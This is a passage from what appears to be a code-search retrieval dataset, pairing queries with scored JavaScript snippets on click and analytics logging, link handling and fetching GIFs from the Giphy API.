"b36b50f0c04618689984849ff9cb2c4f", "score": "0.563768", "text": "clickQuery(e) {\n const data = this.basicInfo();\n data['targetClass'] = e['target'].className;\n data['targetID'] = e['target'].id;\n data['type'] = 'click';\n new Image().src = '/ui_tracker?' + this.query(data);\n }", "title": "" }, { "docid": "e99608e307a6662e7ef2accce6b2df08", "score": "0.5629593", "text": "function logAction(message) {\n var info = {\n time: new Date().getTime(),\n name: message.action,\n hostname: message.hostname,\n data: message.data\n };\n\t// send update to server\n sendAction(info);\n}", "title": "" }, { "docid": "5c4a039ab76a8c2628b239f548230a87", "score": "0.5627435", "text": "function mgLog(mgLogUrl, mgLogData) {\n if (mgLogUrl.search(/\\?/) >= 0) {\n mgLogUrl = mgLogUrl + '&' + mgLogData;\n } else {\n mgLogUrl = mgLogUrl + '?' + mgLogData;\n }\n\n document.write(\"<script language='JavaScript' type='text/javascript' src='\" + mgLogUrl + \"'></script>\");\n}", "title": "" }, { "docid": "f8b3722e46cb3428a9bf8f468370d4f6", "score": "0.56264794", "text": "function instrumentLink(link) {\r\n //link.appendChild(document.createTextNode(\" test\"));\r\n\r\n var inject = function(body) { \r\n var div = document.createElement(\"div\");\r\n div.style.border = \"2px solid\";\r\n div.appendChild(extractComments(body));\r\n \r\n link.parentNode.parentNode.parentNode.appendChild(div);\r\n \r\n link.onclick = function() { \r\n div.style.display = (div.style.display == 'none' ? '' : 'none');\r\n return false;\r\n }\r\n }\r\n \r\n link.onclick = function() {\r\n getPage(link.href, inject);\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "15761f2b8c808807337aa73f852c1c39", "score": "0.56109506", "text": "function do_the_click( url )\n{\n alert( url );\n}", "title": "" }, { "docid": "580c7063821c7c641473d53653b60b3d", "score": "0.5610713", "text": "function GA_event(name) {\n /*const sendOutbound = (event) => {\n event.preventDefault();\n ReactGA.event({\n category: 'Links',\n action: name,\n label: name + ' link clicked'\n });\n }*/\n}", "title": "" }, { "docid": "71f9a07a7543fb99d9831ab7bcaebcd1", "score": "0.5602649", "text": "function link( id , request ){\n $(id).click( function(){\n window.location.href = request;\n });\n}", "title": "" }, { "docid": "03eb6378e096843d24ccfcb73f2d0f30", "score": "0.56017894", "text": "function logFunction(message) {\r\n //send an HTTP request\r\n console.log(message);\r\n\r\n // raise an event\r\n //emitter.emit('messageLogged', { id: 1, url: 'http://'});\r\n}", "title": "" }, { "docid": "5f5e733f95cd1597cc65a42218601848", "score": "0.5601729", "text": "function gaEventTracking($) {\n $('.ga-event-link').on('click', function(e) {\n e.preventDefault();\n\n var $link = $(this);\n var url = $link.attr('href');\n var interaction = $link.attr('data-ga-interaction') ? $link.attr('data-ga-interaction') : 'event';\n var category = $link.attr('data-ga-category') ? $link.attr('data-ga-category') : 'Outbound Links';\n var action = $link.attr('data-ga-action') ? $link.attr('data-ga-action') : 'click';\n var label = $link.attr('data-ga-label') ? $link.attr('data-ga-label') : $link.text();\n var target = $link.attr('target');\n\n if (typeof ga !== 'undefined' && action !== null && label !== null) {\n ga('send', interaction, category, action, label);\n if (typeof target !== 'undefined' && target === '_blank') {\n window.open(url, '_blank');\n }\n else {\n window.setTimeout(function(){ document.location = url; }, 200);\n }\n }\n else {\n document.location = url;\n }\n });\n}", "title": "" }, { "docid": "3ad02fa23c2934f70b2b4ed9d62a7c0b", "score": "0.5596528", "text": "_handleOpenURL(event) {\n //if(__DEV__) {\n console.log('[deeplink2] Updated url in IOS is: ' + event.url);\n //}\n }", "title": "" }, { "docid": "869c3dfd8d9c2da7b6eea25cbd49d590", "score": "0.5585437", "text": "function logClickOther(target) { // eslint-disable-line no-unused-vars\n const props = { text: target.text }\n log('click:other', props)\n\n // Google Analytics fallback: remove once Bard and Mixpanel are ready for SCP\n ga('send', 'event', 'click', 'other') // eslint-disable-line no-undef\n}", "title": "" }, { "docid": "e0187d6bee4f05e982cd87abb93bfdad", "score": "0.55838794", "text": "function update_download_link() {\n\t\tvar url = $download_link.attr( 'href' );\n\t\tvar log = encodeURI( get_current_view() );\n\t\tvar matches = url.match(/&log=([a-z0-9\\-]+)/i);\n\n\t\t// Update or add the log parameter\n\t\tif ( $.isArray( matches ) && 2 === matches.length ) {\n\t\t\turl = url.replace( matches[0], '&log=' + log );\n\t\t} else if ( url.indexOf( '?' ) ) {\n\t\t\turl = url + '&log=' + log;\n\t\t} else {\n\t\t\turl = url + '?log=' + log;\n\t\t}\n\n\t\t$download_link.attr( 'href', url );\n\t}", "title": "" }, { "docid": "73163c575fb2b4a9d87bcc34aee2cdd2", "score": "0.5569528", "text": "function trackPageShow(e) {\n _gaq.push(['_trackEvent', e.target.URL, 'clicked']);\n // console.log(e,'google analytics', e.target.URL)\n}", "title": "" }, { "docid": "26de396815c12060171a6ba73c2a8240", "score": "0.5557788", "text": "log(message) {\n\t\t// log message\n\t\tconsole.log(message);\n\n\t\t// raise event\n\t\tthis.emit('messageLogged', {id: 1, url: 'https://'});\n\t}", "title": "" }, { "docid": "21e1e7dc97eba66493e9acbfe24385ed", "score": "0.55574155", "text": "function miqOnClickDiagnostics(id) {\n var typ = id.split('-')[0]; // Break apart the node ids\n switch (typ) {\n case 'svr':\n case 'role':\n case 'asr':\n miqJqueryRequest(ManageIQ.tree.clickUrl + '?id=' + encodeURIComponent(id), {beforeSend: true, complete: true});\n break;\n }\n}", "title": "" }, { "docid": "8f8269d5420bf59b4ab8781b740640be", "score": "0.5556692", "text": "function logRequests(request){\n console.log(request.url, request.ip, request.method, new Date())\n}", "title": "" }, { "docid": "a0842ef0c658a4078e6b4bb2091e2192", "score": "0.5547805", "text": "function showChangeLog(ele){\r\n\tvar anchorTag = document.getElementById(\"hiddenAnchor\");\r\n\tanchorTag.href = \"changeLog/\" + ele.value + \".html\";\r\n\tanchorTag.click();\r\n}", "title": "" }, { "docid": "c8b848bce1f714958d908787354d21d1", "score": "0.55436224", "text": "function logRedirectUri() {\n Logger.log(getService_().getRedirectUri());\n}", "title": "" }, { "docid": "aac85b2b664645f82345b778049759ba", "score": "0.55417275", "text": "function onClickTiddlerLink(e)\n{\n\tif (!e) var e = window.event;\n\tvar theTarget = resolveTarget(e);\n\tvar theLink = theTarget;\n\tvar title = null;\n\tdo {\n\t\ttitle = theLink.getAttribute(\"tiddlyLink\");\n\t\ttheLink = theLink.parentNode;\n\t} while(title == null && theLink != null);\n\tif(title)\n\t\t{\n\t\tvar toggling = e.metaKey || e.ctrlKey;\n\t\tif(config.options.chkToggleLinks)\n\t\t\ttoggling = !toggling;\n\t\tvar opening;\n\t\tif(toggling && document.getElementById(\"tiddler\" + title))\n\t\t\tstory.closeTiddler(title,true,e.shiftKey || e.altKey);\n\t\telse\n\t\t\tstory.displayTiddler(theTarget,title,null,true,e.shiftKey || e.altKey);\n\t\t}\n\tclearMessage();\n\treturn(false);\n}", "title": "" }, { "docid": "84e5a309c865ec88f2a7a16d13054153", "score": "0.5533422", "text": "function logPageView(customTitle) {\r\n var request = getRequest();\r\n var temp = encodeURI(escapeWrapper(isDefined(customTitle) ? customTitle : configTitle));\r\n request += '&action_name=' + encodeURI(temp); // refs #530;\r\n\r\n\r\n // encode custom data\r\n if (isDefined(configCustomData)) {\r\n request += '&data=' + escapeWrapper(stringify(configCustomData));\r\n }\r\n\r\n request += executePluginMethod('log');\r\n getImage(request, configTrackerPause);\r\n }", "title": "" }, { "docid": "a5bfeb35afdfc9881a5468049b755b59", "score": "0.5530983", "text": "function sendToHakstrace(t) {\n\n var location = window.location;\n var sendObj = {\n host: location.protocol + \"//\" + location.host,\n uri: location.pathname,\n url: window.location.href,\n userAgent: navigator.userAgent,\n navigationStart: t.navigationStart,\n domainLookupStart: t.domainLookupStart,\n connectStart: t.connectStart,\n requestStart: t.requestStart,\n responseStart: t.responseStart,\n responseEnd: t.responseEnd,\n domLoading: t.domLoading,\n loadEventStart: t.loadEventStart,\n loadEventEnd: t.loadEventEnd\n };\n\n console.log(sendObj);\n\n request(DEFAULT_NOTIFIER_ENDPOINT, sendObj);\n }", "title": "" }, { "docid": "0cf7fde25bc79957fd200e26f39b14ca", "score": "0.5526026", "text": "function handleTrackLinkClick(returnedObject){\r\n\r\n\t// Your code here:\r\n\r\n\t/*\r\n\t// NOTE: The following code is used for example purposes:\r\n\tvar retText = 'Link Button Clicked. \\n';\r\n\tretText += 'Track data should be visible in next alert message.';\r\n\talert(retText);\r\n\talertObject(returnedObject);\r\n\t//*/\r\n\r\n}", "title": "" }, { "docid": "aaa6d328f7d31ba539ad86e14c5ecdc0", "score": "0.5524613", "text": "function genericOnClick(info, tab) {\n window.open(\"http://archive.is/?url=\"+info.linkUrl,\"self\")\n}", "title": "" }, { "docid": "1213f30829bfc6753c39f84a947499ac", "score": "0.5524589", "text": "function logOutput() {\n\tvar output = GM_getValue('brazzersLinks').join('\\n');\n\tconsole.log(output);\n}", "title": "" }, { "docid": "b4dc71b6120747f2300730927175813d", "score": "0.55128646", "text": "function webDebugLog(a)\n{\n\t\n\t\n}", "title": "" }, { "docid": "6c667a1475d0ade5371e60e3367e01d6", "score": "0.55102146", "text": "info() {\n let href =\n typeof window !== \"undefined\" && window !== null\n ? window.location.href\n : \"\";\n this.log_data(\"info\", arguments[0], href, arguments[1]);\n return;\n }", "title": "" }, { "docid": "d4cd1ae3f039be1b9304ead433453511", "score": "0.5508666", "text": "function link(logData) {\n if(debugLink){\n console.log(\"[Poster]Linking\");\n }\n // variables used to determine when we are done linking\n var linkCount = 0; // how many to be created\n var linked = 0; // how many linked\n // the links to be created \n // will contain objects that have the id of the construct to be linked,\n // the other object to be linked and the type of the other object (construct or event)\n var links = [];\n \n // Link sessions to user\n if(debugLink){\n console.log(\"[Poster]Linking sessions: \"+ logData.sessions.length);\n }\n //var sessions = logData[sessions];\n var sessions = logData.sessions;\n \n _.each(sessions, function (session){\n links.push( { construct: idToID[session.id], target: idToID[session.user_id], type: 'construct' } );\n });\n \n //await sleep(1000);\n // Link events to session & document/help page (if needed)\n if(debugLink){\n console.log(\"[Poster]Linking events: \"+ logData.events.length);\n }\n var events = logData.events;\n _.each(events, function (event){\n links.push( { construct: idToID[event.session_id], target: idToID[event.id], type: 'event' } );\n \n if(!idToID[event.session_id] || !idToID[event.id]){\n console.log(\"[Poster]Link problem (event to session): \", event);\n }\n \n if(event.document) {\n links.push( { construct: idToID[event.document], target: idToID[event.id], type: 'event' } ); \n \n \n if(!idToID[event.document] || !idToID[event.id]){\n console.log(\"[Poster]Link problem (event to document): \", event);\n }\n }\n else if(event.page) {\n links.push( { construct: idToID[event.page], target: idToID[event.id], type: 'event' } ); \n \n if(!idToID[event.page] || !idToID[event.id]){\n console.log(\"[Poster]Link problem (event to page): \", event);\n }\n }\n \n });\n \n console.log(\"[Poster]Linking pages: \"+ logData.pages.length);\n var pages = logData.pages;\n console.log(\"[Poster]Page 1 \", logData.pages[0]);\n try{\n _.each(pages, function (page){\n links.push( { construct: idToID[page.id], target: idToID[page.user_id], type: 'construct' } );\n links.push( { construct: idToID[page.id], target: idToID[page.session_id], type: 'construct' } );\n });\n }catch(e){\n console.log('Error linking pages:', e);\n }\n \n \n //await sleep(1000);\n // Link documents to users\n if(debugLink){\n console.log(\"[Poster]Linking documents: \"+ logData.documents.length);\n }\n var documents = logData.documents;\n _.each(documents, function (document){\n links.push( { construct: idToID[document.hash], target: idToID[document.user_id], type: 'construct' } );\n links.push( { construct: idToID[document.hash], target: idToID[document.session_id], type: 'construct' } );\n });\n \n linkCount = links.length;\n if(debugLink){\n console.log(\"Links: \" + linkCount);\n }\n \n var stop = 0;\n // create all of the links.\n links.forEach( function ( link ) {\n \n if(linked >= 0){\n \n if(debugLink && link.construct && link.target){\n //console.log(\"construct: \"+ link.construct+ \" target: \"+link.target, \" type: \"+link.type);\n \n }else{\n console.log(\"Something went wrong:\", link);\n }\n\n request.put( {\n url: artefactApi +link.construct +'/link',\n json: true,\n body: { id: link.target, type: link.type }\n }, \n \n function ( err, response, body ) {\n var dup = false;\n\n if ( err ) {\n console.log( err );\n process.exit();\n }\n else if ( response.statusCode !== 201 && response.statusCode !== 200) {\n console.log( response.statusCode );\n console.log( body );\n console.log( \"Links saved: \" + linked + \"/\" + linkCount);\n process.exit();\n }\n linked++;\n \n if (linked > 7000 && linked % 200 === 1){\n console.log(\"[Poster]Waiting...\", linked);\n var seconds = 2;\n var waitTill = new Date(new Date().getTime() + seconds * 1000);\n while(waitTill > new Date()){}\n }else if (linked > 5000 && linked % 500 === 1){\n console.log(\"[Poster]Waiting...\", linked);\n var seconds = 5;\n var waitTill = new Date(new Date().getTime() + seconds * 1000);\n while(waitTill > new Date()){}\n }\n \n if ( linked === linkCount ) {\n // all links formed we are done\n // could call a callback here if we had one\n if(debugLink){\n console.log( '[Poster]Everything saved to database.' );\n }\n }else{\n console.log(\"[Poster]Links saved:\" + linked + \"/\" + linkCount);\n }\n });\n } else{ linked++; }\n });\n }", "title": "" }, { "docid": "e02f02709a6a332c25c4b629448811cd", "score": "0.5507629", "text": "function logRedirectUri() {\n Logger.log(getService().getRedirectUri());\n}", "title": "" }, { "docid": "d9f9550f513ff43feec7a9d737b1ecce", "score": "0.5493399", "text": "function yelpEvent(){\n\n console.log(clickElement.href);\n}", "title": "" }, { "docid": "d9f9550f513ff43feec7a9d737b1ecce", "score": "0.5493399", "text": "function yelpEvent(){\n\n console.log(clickElement.href);\n}", "title": "" }, { "docid": "02441c14b784104efe22f8e3c6e6abb7", "score": "0.54904205", "text": "log(message) { //don't need function key word (function inside a class - now a method)\n //send http request\n console.log(message); \n\n //raise an event - send multiple values about an event inside an object { properties: }\n //Emit - making a noise, produce something - signalling that an event happened\n this.emit('messageLogged', { id: 1, url: 'http://'}); \n\n }", "title": "" }, { "docid": "c708eb761528d503ee1ff5cf3027cb53", "score": "0.5484173", "text": "function actionPageGeneric_followFirstSendTroopsLink() {\r\n\tvar pageSendTroopsNodeA = getLinksPageSendTroops();\r\n\trandomDelay(17, 362, function() {document.location.href = pageSendTroopsNodeA.snapshotItem(0).href});\r\n}", "title": "" }, { "docid": "27f1c4f5da2fd92ca027ee57f442bba2", "score": "0.5468222", "text": "handleLinkClick(e) {\n this.forceUpdate();\n }", "title": "" }, { "docid": "3533b2265e87a0087c26bf92a2729777", "score": "0.5467282", "text": "function logClickInput(target) {\n const domLabels = getLabelsForInputElement(target)\n\n // User-facing label\n const label = domLabels.length > 0 ? domLabels[0].innerText : ''\n\n const props = { label }\n const element = `input-${target.type}`\n log(`click:${element}`, props)\n\n // Google Analytics fallback: remove once Bard and Mixpanel are ready for SCP\n ga('send', 'event', 'click', element) // eslint-disable-line no-undef\n}", "title": "" }, { "docid": "25fd0b1d54bb707d03dd5856f055f635", "score": "0.5454542", "text": "function hook_link(url)\r\n{\r\n return function(e) {\r\n open_url(url)\r\n return false\r\n }\r\n}", "title": "" }, { "docid": "c6c09b3e73228ec68f3accbb33f88c84", "score": "0.5450912", "text": "function logger(req,res,next){\n console.log('%s \\n %s',req.method,req.url);\n}", "title": "" }, { "docid": "2997e2f936705e1409063ecbe0831ee9", "score": "0.5450239", "text": "function TrackLinkClickFromGridOrCarousel(pageName, action, linkValue) \n{\n if (Is_GA_Enabled == 'true') \n {\n if (!IsNullOrEmpty(pageName) && !IsNullOrEmpty(action) && !IsNullOrEmpty(linkValue)) \n {\n TrackEvent('User Activities', action, pageName + ' | ' + linkValue, '');\n }\n }\n\n if (Is_Omniture_Enabled == 'true') \n {\n OmnitureTrackLinkClickFromGridOrCarousel(pageName, action, linkValue);\n }\n\n}", "title": "" }, { "docid": "3b35990f7e7214c988ea60ebab9a2850", "score": "0.54438925", "text": "onLink(event) {\n const senderId = event.sender.id;\n const fbData = event.facebook;\n debug('onLink for user:%d with data: %o', senderId, fbData);\n this.emit('link', { event, senderId, fbData });\n }", "title": "" }, { "docid": "bc514da2f4d5d8d438bc729cf82146b8", "score": "0.543494", "text": "function NavigateLink(e) {\r\n console.debug(e) ;\r\n NavigateTo(this.href, false); \r\n e.preventDefault();\r\n}", "title": "" }, { "docid": "bc514da2f4d5d8d438bc729cf82146b8", "score": "0.543494", "text": "function NavigateLink(e) {\r\n console.debug(e) ;\r\n NavigateTo(this.href, false); \r\n e.preventDefault();\r\n}", "title": "" }, { "docid": "01b0d9a56296f796bb14f27aa33e2fbd", "score": "0.542102", "text": "function handleLinkClick(event) {\n // this: kezelőobjektum\n // event.target: eseményt kiváltó objektum (forrásobjektum)\n // Ha a forrásobjektum nem link, akkor ne történjen semmi\n if (!event.target.matches(\"a\")) {\n return;\n }\n\n // Alapértelmezett működés letiltása\n event.preventDefault();\n\n // Színváltoztatás\n event.target.style.color = \"red\";\n\n console.log(event.target.href);\n}", "title": "" }, { "docid": "bd7b472cdef2e12b9c69ddd142fb546e", "score": "0.54170704", "text": "function a_onclick(e){\n var original=e.target.href;\n query.add(original,function(text){\n var anidb=text.match(/<a href = \"(http:\\/\\/anidb\\.net\\/perl\\-bin\\/animedb\\.pl\\?show=anime&aid=\\d+)\"/);\n if(!anidb){\n\t//did not found match???\n document.location.href=original;\n\t return;\n\t}\n anidb=anidb[1];\n\tdocument.location.href=anidb;\n });\n e.preventDefault();\n}", "title": "" }, { "docid": "8d9128e3419254b6acd14735ba6dc5cc", "score": "0.5416198", "text": "logToPage()\n {\n let container = document.getElementById(this.loggingID);\n\n // Append all passed parameters similar to console.log\n var messageString = \"\";\n for (let i = 0; i < arguments.length; ++i)\n {\n messageString += arguments[i];\n if (i != arguments.length +1)\n messageString += \" \";\n }\n\n console.log(messageString); // Log the message to console\n if (container != null) // If a valid DOM element exists, print it there as well\n container.value += messageString + \"\\n\" || messageString;\n }", "title": "" }, { "docid": "817658ccaac41f09139839d105b0f236", "score": "0.5414868", "text": "_handleRpcLog(e) {\n this.$.reporting.reportRpcTiming(e.detail.anonymizedUrl,\n e.detail.elapsed);\n }", "title": "" }, { "docid": "e88fc235b239ccfb789f678bd2889574", "score": "0.5410841", "text": "function logEvent(data) {\n var request = new XMLHttpRequest();\n request.open('POST', 'analytics', true);\n request.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');\n request.send(JSON.stringify(data));\n}", "title": "" }, { "docid": "2230e4dcfa433e63f761abaa5b1c78f5", "score": "0.54016", "text": "function logEvent(event) {\n // allow adb blocked events only before dom loaded\n\n if (!domLoaded && event.type == 'attribute changed' && event.attribute && event.attribute == ABP_BLOCKED_KEY) {\n port.postMessage({\n type: 'event',\n event: event ,\n time: new Date().getTime()\n });\n }\n\n // allow adb snippets events only before dom loaded\n if (!domLoaded && event.type == 'nodes added') {\n // list of list\n let node_attributes = event.nodeInfo.NodesAttributes;\n if (node_attributes) {\n console.log(\"found attributes\");\n console.log(node_attributes);\n // take first list only\n for (let i = 0 ; i < node_attributes[0].length; i++) {\n let attr = node_attributes[i];\n let attr_name = attr[0];\n let attr_value = attr[1];\n if (attr_name == \"class\" && attr_value.indexOf(ABP_SNIPPET_KEY) != -1 ) {\n console.log(\"posted abp snippet event\");\n port.postMessage({\n type: 'event',\n event: event ,\n time: new Date().getTime()\n }); \n }\n }\n }\n }\n \n if(domLoaded && \n !document.URL.includes('chrome') && \n !document.URL.includes('dev') && \n !document.URL.includes('newtab')){\n\n port.postMessage({\n type: 'event',\n event: event ,\n time: new Date().getTime()\n });\n \n }\n }", "title": "" }, { "docid": "acbec34faeedc9f72f5db3530a3a4907", "score": "0.5398116", "text": "log(action){\n if(config.log){\n mediator.emit('log', action);\n }\n }", "title": "" }, { "docid": "f5ae6a4e80a8f7d7a34720be1da5c0b0", "score": "0.5397875", "text": "function linkDecorationHandler() {\n var tstamp = new Date().getTime();\n if (this.href) {\n this.href = decorateQuerystring(this.href, '_sp', domainUserId + '.' + tstamp);\n }\n }", "title": "" }, { "docid": "4c59ec5aaa797cee92bf933fba933007", "score": "0.5387344", "text": "function OmnitureTrackFullSaveItemLinkClick(linkName)\n{\n if (Is_GA_Enabled == 'true') \n {\n TrackEvent('Saved Items', linkName, 'Full Page Saved Items', '');\n }\n if (Is_Omniture_Enabled == 'true') \n {\n OmnitureTrackFullSaveItemLinkClick(linkName);\n }\n}", "title": "" }, { "docid": "71b2a62f802e6cddb38e3cc15a3fcf39", "score": "0.5381", "text": "function provideLogging(url,hide,remove,referenceUrl){\n referenceUrl = referenceUrl || url;\n console.log(\"Url: \" + url);\n if (referenceUrl != undefined){\n console.log(\"Reference URL: \" + referenceUrl);\n }\n if (hide != undefined){\n console.log(\"Selector Hiding: \" + hide);\n }\n if (remove != undefined) {\n console.log(\"Selector Removing: \" + remove);\n }\n console.log(\"*******************\\n\");\n}", "title": "" }, { "docid": "631608f990d5d9420805391a8d93d39c", "score": "0.53801876", "text": "logMe(){\n console.log(`i was clicked!!!`)\n }", "title": "" }, { "docid": "701c6ef07ac44fa793f41f7940b15e4d", "score": "0.5377095", "text": "function buttonLinkNavigate(e) {\r\n AW5.app.navigate($(e.button).data('link'));\r\n }", "title": "" }, { "docid": "5ef0f00034e26a8a8f471ceadee166da", "score": "0.53733945", "text": "function handleClick(event) {\n console.info(\"You clicked a breadcrumb.\");\n}", "title": "" }, { "docid": "129ecf01b4e7ce3100f74d64fec4233c", "score": "0.5372332", "text": "function __log(e, data) {\n log.innerHTML += \"\\n\" + e + \" \" + (data || '');\n }", "title": "" }, { "docid": "1dcd9b222b13aa65492b1abf009e8904", "score": "0.53696674", "text": "function logCheck(UserName,Page,Action) {\n\n var qstr = \"action=Logs&UserName=\"+UserName+\"&Page=\"+Page+\"&Action=\"+Action+\"&ipAdd=\"+CURRENT_IP;\n var cgiURL= \"https://\"+CURRENT_IP+\"/cgi-bin/Final/AutoCompleteAdmin/FQueryCgiAdminLogs.fcgi?\";\n\n $.ajax({\n url: cgiURL+qstr,\n dataType: 'html',\n success: function(data) {\n\n\t\t}\n\t});\n\n}", "title": "" } ]
75423054121003b2e9d79e5e3ffbc9a9
function for getting gifs and adding them to the page
[ { "docid": "ae55cf3e9d9c947f66f2c0754380a293", "score": "0.736561", "text": "function getGifs(searchTerm, timesSearched) {\n // creating variables to store search parameters\n var apiKey = \"rSoMaNfOIf9g9ue5Tq9WjlOlTrJBsHRZ\";\n var limit = 10;\n var offset = limit * timesSearched;\n var rating = \"pg13\";\n // build URL using my api key, the search term, and a return limit of 10 and excluding R rated gifs\n var queryURL = `https://api.giphy.com/v1/gifs/search?api_key=${apiKey}&q=${searchTerm}&limit=${limit}&rating=${rating}&offset=${offset}`;\n // run search on the giphy api\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n // create a new span element to contain the results\n var newSpan = $(\"<span>\");\n // create a variable to represent the div element that will hold said span\n var imagesDiv;\n // for each object in the data array of the object returned from the ajax call...\n response.data.forEach(function(dataValue) {\n // create a new div element to hold the image and related content\n var newDiv = $(\"<div class='gif-box'>\");\n newDiv.addClass(dataValue.id);\n // create a new img element\n var img = $(\"<img>\");\n // set the image source to the fixed-height-still gif url\n img.attr(\"src\", dataValue.images.fixed_height_still.url);\n // give the image a \"still-src\" attribute equal to fixed-height-still url\n img.attr(\"still-src\", dataValue.images.fixed_height_still.url);\n // give the image an \"animated-src\" attribute equal to fixed-height url\n img.attr(\"animated-src\", dataValue.images.fixed_height.url);\n // give the image an alternate text from the title\n img.attr(\"alt\", dataValue.title);\n // give the image a class for click event\n img.addClass(\"gif\");\n // append the img element to the new div element\n newDiv.append(img);\n // create a new p element to display the rating\n var newP = $(\"<p class='rating'>\");\n newP.text(\"Rating: \" + dataValue.rating.toUpperCase());\n // append the rating to the new div element\n newDiv.append(\"<br>\");\n newDiv.append(newP);\n // create a new button element to add image to favorites\n var addToFavsButton = $(\"<button>\");\n addToFavsButton.text(\"Add to favorites\");\n addToFavsButton.addClass(\"add-to-favs\");\n addToFavsButton.attr(\"image-id\", dataValue.id);\n // append the button to the new div\n newDiv.append(addToFavsButton);\n // append the individual image div to the span element containing all results returned from current button press\n newSpan.append(newDiv);\n });\n // create variable storing hyphenated search term to be used for element attributes\n var hyphenatedSearchTerm = searchTerm.replace(/\\s+/g, '-');\n // if there are no results for the same term already on the page...\n if (offset === 0) {\n // create a div element to hold all the results for current search term\n imagesDiv = $(\"<div class='topic-results'>\");\n // give the div an id corresponding to the search term\n imagesDiv.attr(\"id\", hyphenatedSearchTerm.replace(/\\s+/g, '-'));\n // display search term before with results\n imagesDiv.append($(\"<h2 class='topic-title'>\" + searchTerm + \":</h2>\"));\n // add a span element to hold all images for current search term and append it to the div\n imagesDiv.append($(\"<span class='\" + hyphenatedSearchTerm + \"'>\"));\n // add the div element to the page\n $(\"#search-results\").prepend(imagesDiv);\n }\n // append the new span element to beginning of the larger span element (created 4 lines above here)\n $(\".\" + hyphenatedSearchTerm).prepend(newSpan);\n // attach the div of all results for current term to the div holding all results for all terms\n $(\"#search-results\").prepend($(\"#\" + hyphenatedSearchTerm));\n });\n}", "title": "" } ]
[ { "docid": "0806b06a4e01be45721644b0a68d70e9", "score": "0.80488545", "text": "function getGifs(str) {\n $.ajax({\n url: str,\n method: \"GET\"\n }).then(function (response) {\n for (var j = 0; j < response.data.length; j++) {\n response.data[j].favorite = false;\n stylesGifs.push(response.data[j]);\n };\n generateGif(offsetNumber, stylesGifs);\n offsetNumber += 10;\n });\n }", "title": "" }, { "docid": "d350c9dfe50b033b68b74f22865c6d1e", "score": "0.7921758", "text": "function makeGifs() {\n }", "title": "" }, { "docid": "9565ea36c21bc05149c3b5e45baff822", "score": "0.78392535", "text": "function getGif(){\n\t\t\n\t\tvar movie = $(this).data('name');\n\t\tvar url = queryURL + \"&q=\" + movie;\t\n\t\t$.ajax({url: url, method: 'GET'}).done(function(response) {\n\t \t\n\t \tvar results = response.data;\n\t \tconsole.log(results);\n\t \n\t \tfor (var i = 0; i < results.length; i++) {\n\t\t\t\t displayGif(results[i]);\n\t\t\t} \n\t\t});\n\t}", "title": "" }, { "docid": "0863f62f784e750a45690474be0241c6", "score": "0.7825562", "text": "function gifs() {\n document.querySelector(\"#allGifs\").innerText = null;\n for (var i = 0; i < friendsTogepi.length; i++) {\n var image = document.createElement(\"img\");\n image.setAttribute(\"src\", \"img/\" + i + \".gif\");\n document.querySelector(\"#allGifs\").appendChild(image);\n }\n}", "title": "" }, { "docid": "d4d197cb58ff4374496709c9ee4849dc", "score": "0.7779004", "text": "function getTenGifs() {\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var results = response.data;\n\n // If prompted to clear the existing gifs, empty the #gifs div\n if (clear) {\n $('#gifs').empty();\n }\n\n for (var i = 0; i < results.length; i++) {\n // Create a div to house the gif and rating\n var gifDiv = $('<div class=\"gif\">');\n \n // create an image to hold the gif and all its data, including still/animated states\n var gif = $('<img data-state=\"still\">');\n gif.attr('src', results[i].images.fixed_height_still.url);\n gif.attr('data-state', \"still\");\n gif.attr('data-still', results[i].images.fixed_height_still.url)\n gif.attr('data-animate', results[i].images.fixed_height.url)\n \n // Create a paragraph with the gif's rating\n var rating = $('<p class=\"rating\">').text(\"Rating: \" + results[i].rating);\n \n // Append the gif and rating to the gifDiv\n gifDiv.append(rating, gif);\n \n // Append the gifDiv to the div on the page\n $('#gifs').append(gifDiv);\n }\n })\n }", "title": "" }, { "docid": "cfc14de8c545179887a763ef208a79d2", "score": "0.77550286", "text": "function getGifs() {\n var searchTxt = this.innerText;\n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=\" + gifGetAPI + \"&q=\" + searchTxt + \"&limit=\" + gifGetCount + \"&offset=0&rating=\" + gifGetRating + \"&lang=en\";\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var currentGifs = response.data;\n\n var gifDivs = [];\n for (var i = 0; i < currentGifs.length; i++) {\n var gifStill = currentGifs[i].images.fixed_height_still.url;\n var gifAnimated = currentGifs[i].images.fixed_height.url;\n var gifImg = $(\"<img>\").attr(\"src\", gifStill).attr(\"class\", \"gif-img\").attr(\"movement\", false).attr(\"animated-url\", gifAnimated).attr(\"still-url\", gifStill);\n var gifName = $(\"<h5>\").text(currentGifs[i].title).attr(\"class\", \"gif-name\");\n var gifRate = $(\"<span>\").text(\"Rated \" + currentGifs[i].rating).attr(\"class\", \"gif-rate\");\n var gifDownload = $(\"<img>\").attr(\"src\", \"./assets/dl.png\").attr(\"class\", \"dl\");\n var gifFavorite = $(\"<img>\").attr(\"src\", \"./assets/heart.png\").attr(\"class\", \"fav\");\n var gifDiv = $(\"<div>\").attr(\"class\", \"gif-div\");\n var downloadAbility = $(\"<a href=\\\"\" + currentGifs[i].images.original.url + \"\\\" download>\").attr(\"class\", \"dl\").append(gifDownload);\n gifDiv.append(downloadAbility, gifFavorite, gifImg, gifName, gifRate);\n gifDivs.push(gifDiv);\n gifDivs.forEach((entry) => {\n gifZone.prepend(entry);\n })\n }\n });\n}", "title": "" }, { "docid": "52637595ae6ae061fa05862845b93738", "score": "0.76875657", "text": "function getGifs(){\n\t// clear out last gifs\n\t$(\"#seeGifs\").empty();\n\n\t// we are taking the attribute data name we created in renderButtons() to add to query URL\n\tvar gifSubmit = $(this).attr(\"data-name\");\n\n\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\"+gifSubmit+\"&api_key=dc6zaTOxFJmzC&limit=10\"; \n\n\t$.ajax({\n\t\turl: queryURL,\n\t\tmethod: \"GET\"\n\t}).done(function(response){\n\n\t\tvar gifDiv = $(\"#seeGifs\");\n\n\t\tgifArray = response.data;\n\n\t\tgifRating = response.data.raiting;\n\n\t\tfor(var i = 0; i<gifArray.length; i++){\n\n\t\t\tvar gifDisplayMove = gifArray[i].images.original.url;\n\t\t\tvar gifDisplayStill = gifArray[i].images.original_still.url;\n\t\t\tgifRating = 